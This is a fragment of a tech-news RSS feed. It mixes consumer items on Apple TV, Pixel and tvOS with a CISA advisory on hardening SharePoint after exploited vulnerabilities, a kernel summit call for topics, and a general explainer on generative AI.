</li></ul></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[MLS Returns to Apple TV With Six Matches and New Fan Features]]></title>
<description><![CDATA[Major League Soccer returns to Apple TV on July 16 after a month-long break for the 2026 FIFA World Cup, with six matches scheduled across two days and every game available without local blackouts.



Apple says subscribers in more than 100 countries and regions can watch the full MLS schedule at...]]></description>
<link>https://tsecurity.de/de/3671552/ios-mac-os/mls-returns-to-apple-tv-with-six-matches-and-new-fan-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671552/ios-mac-os/mls-returns-to-apple-tv-with-six-matches-and-new-fan-features/</guid>
<pubDate>Wed, 15 Jul 2026 19:54:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Major League Soccer returns to Apple TV on July 16 after a month-long break for the 2026 FIFA World Cup, with six matches scheduled across two days and every game available without local blackouts.



Apple says subscribers in more than 100 countries and regions can watch the full MLS schedule at no extra cost, along with coverage of the Leagues Cup, MLS All-Star Game, Campeones Cup, and MLS Cup Playoffs.



MLS schedule on Apple TV



Thursday, July 16




CF Montréal vs. Toronto FC at 7:30 p.m. ET



Chicago Fire vs. Vancouver Whitecaps FC at 8:30 p.m. ET



St. Louis CITY SC vs. Sporting Kansas City at 8:30 p.m. ET



Seattle Sounders vs. Portland Timbers at 10:30 p.m. ET




Friday, July 17




Nashville SC vs. Atlanta United FC at 8:10 p.m. ET



LA Galaxy vs. Los Angeles FC at 10:15 p.m. ET








Apple is also adding MLS content across Apple Sports, Apple Music, Apple Maps, and Apple Fitness+. Fans can follow live scores, standings, lineups, team stats, and play-by-play updates through the Apple Sports app.



The company has also released new club playlists, player-curated music, Matchday Guides in Apple Maps, and a Time to Walk episode featuring Vancouver Whitecaps star Thomas Müller.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cribl Adds Agentic Detection Engineering &amp; Boosts SecOps With CardinalOps Deal]]></title>
<description><![CDATA[CardinalOps will give Cribl customers the ability to map detection rules and security controls to the MITRE ATT&CK framework. SecOps teams can identify coverage gaps and operationalize threat intelligence.]]></description>
<link>https://tsecurity.de/de/3670665/it-security-nachrichten/cribl-adds-agentic-detection-engineering-amp-boosts-secops-with-cardinalops-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670665/it-security-nachrichten/cribl-adds-agentic-detection-engineering-amp-boosts-secops-with-cardinalops-deal/</guid>
<pubDate>Wed, 15 Jul 2026 14:38:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CardinalOps will give Cribl customers the ability to map detection rules and security controls to the MITRE ATT&amp;CK framework. SecOps teams can identify coverage gaps and operationalize threat intelligence.]]></content:encoded>
</item>
<item>
<title><![CDATA[It's not too late to get Pixel Care+ for your Pixel 9 or 10.]]></title>
<description><![CDATA[From July 13 to August 2, sign up for Pixel Care+ to get accidental damage coverage and $0 battery and screen repairs.]]></description>
<link>https://tsecurity.de/de/3669193/it-nachrichten/its-not-too-late-to-get-pixel-care-for-your-pixel-9-or-10/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669193/it-nachrichten/its-not-too-late-to-get-pixel-care-for-your-pixel-9-or-10/</guid>
<pubDate>Wed, 15 Jul 2026 00:17:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/PixelCare.max-600x600.format-webp.webp">From July 13 to August 2, sign up for Pixel Care+ to get accidental damage coverage and $0 battery and screen repairs.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Urges SharePoint Hardening After New Exploitations]]></title>
<description><![CDATA[CISA is aware of active exploitation of vulnerabilities CVE-2026-32201, CVE-2026-45659, and CVE-2026-56164, enabling cyber threat actors to gain unauthorized access to on-premises SharePoint Server instances. These vulnerabilities affect all supported on-premises SharePoint Server versions (Subsc...]]></description>
<link>https://tsecurity.de/de/3668940/it-security-nachrichten/cisa-urges-sharepoint-hardening-after-new-exploitations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668940/it-security-nachrichten/cisa-urges-sharepoint-hardening-after-new-exploitations/</guid>
<pubDate>Tue, 14 Jul 2026 21:00:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA is aware of active exploitation of vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2026-32201" target="_blank">CVE-2026-32201</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2026-45659" target="_blank">CVE-2026-45659</a>, and <a href="https://www.cve.org/CVERecord?id=CVE-2026-56164" target="_blank">CVE-2026-56164</a>, enabling cyber threat actors to gain unauthorized access to on-premises SharePoint Server instances. These vulnerabilities affect all supported on-premises SharePoint Server versions (Subscription Edition, 2019, and 2016) and involve establishing remote code execution (RCE) and post-exploitation activities, such as stealing Internet Information Services (IIS) machine keys and performing deserialization techniques, to gain persistence and deploy malware. Organizations should monitor affected SharePoint Servers closely for any signs of exploitation or unusual activity. </p>
<p>Additionally, the following newly disclosed CVEs are not yet known to have been exploited, but Microsoft has identified them as posing a potential risk if left unpatched:</p>
<ul type="square">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55040" target="_blank">CVE-2026-55040</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-58644" target="_blank">CVE-2026-58644</a></li>
</ul>
<p>CISA urges organizations to detect and remediate a potential compromise by implementing the following recommendations:</p>
<ul type="square">
<li>Apply the latest patches and security updates from Microsoft, verify that installation completes successfully, and shorten patching cycles when possible.</li>
<li>Verify that Antimalware Scan Interface (AMSI) integration is enabled for each SharePoint web application. Follow Microsoft’s <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/configure-amsi-integration" target="_blank">Configure AMSI integration with SharePoint Server</a> guidance to ensure proper configuration and select the “Full Mode” option for the Request Body Scan Mode, where feasible. When compromise is expected, use the following AMSI and Microsoft Defender Antivirus (MDAV) detections, and implement your organization’s incident response plan for any positive detections:<br>
<ul type="circle">
<li>AMSI: <code>Exploit:Script/SuspSignoutReqBody.A</code> – request body scanning; SharePoint Server Subscription only; Microsoft has blocked observed attempts.</li>
<li>AMSI: <code>Exploit:Script/ToolPaneAuthBypass.A</code> – request header scanning; SharePoint Server 2016, 2019, and Subscription Edition.</li>
<li>AMSI: <code>Exploit:Script/ToolPaneAuthBypass.C</code> – RCE coverage; SharePoint Server 2016, 2019, and Subscription Edition.</li>
<li>MDAV: <code>Backdoor:MSIL/LeakFang.A!dha</code> – post-exploitation activity alert involving IIS-protected secrets.</li>
</ul>
</li>
</ul>
<p>In addition, CISA recommends that organizations implement the following SharePoint Server hardening measures:</p>
<ul type="square">
<li>Before rotating IIS machine keys, hunt for and remediate any intrusion artifacts, including machine-key harvesters, that could allow for the keys to be stolen again. Review Microsoft’s <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/improved-asp-net-view-state-security-key-management#automatic-machine-key-rotation" target="_blank">Improved ASP.NET view state security and key management</a> for best practices.</li>
<li>Establish tailored logging mechanisms to detect and monitor exploitation activities. Review telemetry for anomalous requests, suspicious SharePoint worker-process activity, webshells, and machine-key access. For more information, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/best-practices-event-logging-and-threat-detection">Best Practices for Event Logging and Threat Detection</a>.</li>
<li>Avoid exposing SharePoint Servers directly to the internet unless necessary; and if necessary, only configure a SharePoint Server behind a Layer 7 reverse proxy or equivalent application-layer security control that requires authentication and can inspect and filter requests. </li>
<li>Block external access to SharePoint Central Administration, restrict farm and database communications to required systems, and review <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/security-hardening" target="_blank">Microsoft’s SharePoint Server security-hardening guidance</a> for role-specific ports, services, and <code>Web.config</code> settings.</li>
</ul>
<p>CISA urges users and administrators to review the Alert <a href="https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities">UPDATE: Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities</a> and apply necessary updates.</p>
<p>CISA added the following vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>: CVE-2026-32201 on April 14, 2026; CVE-2026-45659 on July 1, 2026; and CVE-2026-56164 on July 14, 2026. </p>
<p><strong>Note:</strong> CISA may update this Alert to reflect new guidance issued by CISA or other parties.</p>
<p>Organizations should report incidents or anomalous activity to CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472).</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA. </p>
<h2><strong>Acknowledgements </strong></h2>
<p>Microsoft contributed to this Alert.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Call for topics for the 2026 Maintainers Summit]]></title>
<description><![CDATA[The Maintainers Summit is an annual, invitation-only gathering of kernel
developers and maintainers to discuss development-process issues; see LWN's 2025 Maintainers Summit coverage for an
example.  The call for
topics for the 2026 gathering (Prague, October 8) has gone out.
One of the best ways ...]]></description>
<link>https://tsecurity.de/de/3668230/linux-tipps/call-for-topics-for-the-2026-maintainers-summit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668230/linux-tipps/call-for-topics-for-the-2026-maintainers-summit/</guid>
<pubDate>Tue, 14 Jul 2026 16:10:48 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Maintainers Summit is an annual, invitation-only gathering of kernel
developers and maintainers to discuss development-process issues; see <a href="https://lwn.net/Articles/1049982/">LWN's 2025 Maintainers Summit coverage</a> for an
example.  The <a href="https://lwn.net/ml/all/alW3eJ9x6iJ8Juhi@mit.edu">call for
topics</a> for the 2026 gathering (Prague, October 8) has gone out.
One of the best ways to obtain an invitation to the Summit is with a good
topic proposal.  For best consideration, topics should be submitted before
July 24.]]></content:encoded>
</item>
<item>
<title><![CDATA[tvOS 27 and HomePod 27 Public Betas Are Now Available: Here’s What’s New]]></title>
<description><![CDATA[Apple has released the first public betas of tvOS 27 and HomePod Software 27, allowing users to test the updates before their full release this fall. The beta software brings performance improvements, faster AirPlay connections, Apple Music upgrades, and several smaller changes.



The updates re...]]></description>
<link>https://tsecurity.de/de/3666627/ios-mac-os/tvos-27-and-homepod-27-public-betas-are-now-available-heres-whats-new/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666627/ios-mac-os/tvos-27-and-homepod-27-public-betas-are-now-available-heres-whats-new/</guid>
<pubDate>Tue, 14 Jul 2026 02:24:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the first public betas of tvOS 27 and HomePod Software 27, allowing users to test the updates before their full release this fall. The beta software brings performance improvements, faster AirPlay connections, Apple Music upgrades, and several smaller changes.



The updates remain in testing, so users may experience bugs, slower performance, or problems with some apps and accessories. Installing the beta on a secondary device is safer.



How to Install the tvOS 27 Public Beta



tvOS 27 supports the Apple TV 4K 2nd generation and newer models. Apple TV HD and the first-generation Apple TV 4K are not eligible for the update.




Enrol in the Apple Beta Software Program using the Apple Account connected to your Apple TV.



Open Settings on your Apple TV.



Select System.



Open Software Updates.



Select Get Beta Updates.



Choose tvOS 27 Public Beta.



Select Download and Install.




Keep the Apple TV connected to power and the internet until the installation finishes.



How to Install the HomePod 27 Public Beta



HomePod Software 27 is available for HomePod mini and HomePod 2nd generation through the public beta programme.




Open the Home app on your iPhone or iPad.



Tap the More button.



Select Home Settings.



Tap Software Update.



Open HomePod Beta Updates.



Enable the beta for the HomePod you want to update.



Return to the Software Update screen and install HomePod Software 27.




What’s New in tvOS 27




Redesigned Podcasts app: The Podcasts app receives improved video podcast support and sidebar navigation that makes shows and episodes easier to find.



Smart Downloads: Apple TV can automatically manage downloaded podcast content and remove completed episodes when appropriate.



Larger text options: Users can increase text sizes across more parts of the interface through the accessibility settings.



Faster AirPlay connections: iPhone, iPad, and Mac devices should connect to Apple TV more quickly when starting an AirPlay session.



Hi-Res Lossless Audio: Apple Music adds support for higher-quality lossless audio on compatible equipment.



AutoMix in Apple Music: AutoMix creates smoother transitions between supported songs during continuous playback.



Improved Control Center: The Control Center responds faster and provides easier access to commonly used settings.



Smoother performance: Apple has improved system animations, navigation, and app launch speeds.



Updates through the Home app: Users can manage Apple TV software updates from the Home app on their iPhone.



AppleCare information: AppleCare coverage details now appear directly inside the Settings app.




What’s New in HomePod Software 27




Faster AirPlay connections: HomePod connects more quickly when users send audio from another Apple device.



AutoMix support: Apple Music can provide smoother transitions between compatible songs during playback.




The current betas do not include the expected Siri AI upgrade. References found inside the beta software suggest Apple is preparing expanded Siri features for Apple TV and HomePod, although the most advanced functions may require new hardware.



Apple will continue testing tvOS 27 and HomePod Software 27 before releasing the stable versions later this year. If you’ve already installed either update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



<p class="wp-block-paragraph"><em>Generative AI</em> is different from <em>discriminative AI</em>, which draws distinctions between different kinds of input. Where discriminative AI answers questions like “Is this image of a rabbit or a lion?”, generative AI instead responds to prompts such as “Describe to me how a rabbit and lion look different from one another” or “Draw me a picture of a lion and a rabbit sitting next to each other” — and in both cases produces text or imagery that, while grounded in the AI’s training data, isn’t just a copy of something that already existed.</p>



<aside class="fakesidebar">
<h4>[ <u><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Read next: Large language models: The foundations of generative AI</a></u> ]</h4>
</aside>




<p class="wp-block-paragraph">Just a few years ago, generative AI was once a novelty focused on chatbots and artistic image generation. Today, it has become a core enterprise technology, and powers everything from content creation and software development to customer support and analytics workflows. But with that power comes a <a href="https://www.csoonline.com/article/4076511/4-factors-creating-bottlenecks-for-enterprise-genai-adoption.html">new set of challenges</a> — from model alignment and hallucination to governance and data-integration hurdles.</p>



<p class="wp-block-paragraph">In this article, we’ll look at how generative AI works, explore how it has evolved into the foundation-model era, examine how to implement it effectively, and offer best practices for getting value out of it, today and in the future.</p>



<h2 class="wp-block-heading"><strong>How does generative AI work?</strong></h2>



<p class="wp-block-paragraph">For decades, early artificial-intelligence efforts often focused on rule-based systems or <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">narrowly trained models</a> that were built for one task at a time. While these efforts produced useful systems that could reason and solve human tasks, they were generally a far cry from sci-fi visions of thinking machines. Programs that could talk to people never seemed to get very far past the level of <a href="https://en.wikipedia.org/wiki/ELIZA">ELIZA</a>, a “computer therapist” created at MIT in the mid 1960s; even Siri and Alexa after much fanfare were revealed to be fairly limited.</p>



<p class="wp-block-paragraph">The big structural shift that gave birth to modern generative AI came with the concept of a <em>transformer, </em>first introduced in “<a href="https://arxiv.org/abs/1706.03762">Attention Is All You Need</a>,” a 2017 paper from Google researchers.</p>



<p class="wp-block-paragraph">Using a transformer architecture as a basis, you can build a system that derives meaning from analyzing long sequences of input <em>tokens</em> (words, sub-words, bytes) to understand how different tokens might be related to one another, then determines how likely any given token is to come next in a sequence, given the others. In AI lingo, we call these systems <em>models.</em> Because a model analyzes very large datasets and parameter counts, it can pick up on statistical patterns and knowledge implicitly embedded in the data.</p>



<p class="wp-block-paragraph">This is all easier said than done. The process of adjusting a model’s internal parameters so it gets better at predicting the next token in sequences is called <em>training</em>. During training, the model repeatedly guesses the next token in a given sequence, compares its prediction to the actual one, measures the error, and updates its parameters to reduce that error across billions of examples. Over time, that process teaches the model the statistical relationships that will allow it to generate coherent language (or code, or images) later.</p>



<h2 class="wp-block-heading"><strong>What is a foundation model?</strong></h2>



<p class="wp-block-paragraph">You’ll often hear the word <em>large</em> used for transformer-based models of these types, like the LLMs we mentioned earlier. <em>Large</em> in this context refers to the large number of internal numerical values that the model adjusts during training to represent what it has learned, along with breadth and diversity of data used to train the model and the underlying compute resources powering this whole process.</p>



<p class="wp-block-paragraph">This is in contrast with the narrow models of the earlier era of AI/ML, which werebuilt for one purpose and trained on a limited dataset. For instance, a spam filter may be very good at what it does, but it’s only trained on email data and all it can do is classify emails. Large models, by contrast, serve as what’s known as <em>foundation models</em>. They’re trained broadly on diverse data (text, code, images, or multimodal data) and then adapted or specialized for many downstream tasks.</p>



<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The New York nurses replaced by AI: ‘It should concern every patient who cares about quality of care’]]></title>
<description><![CDATA[The union for 12 nurses laid off by Montefiore hospital say company broke contract they recently won through a strikeMarilyn Shuler has worked as a utilization review nurse for 39 years at Montefiore hospital in the Bronx in New York City, helping to read patient charts and communicate with insur...]]></description>
<link>https://tsecurity.de/de/3665172/ai-nachrichten/the-new-york-nurses-replaced-by-ai-it-should-concern-every-patient-who-cares-about-quality-of-care/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665172/ai-nachrichten/the-new-york-nurses-replaced-by-ai-it-should-concern-every-patient-who-cares-about-quality-of-care/</guid>
<pubDate>Mon, 13 Jul 2026 14:03:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
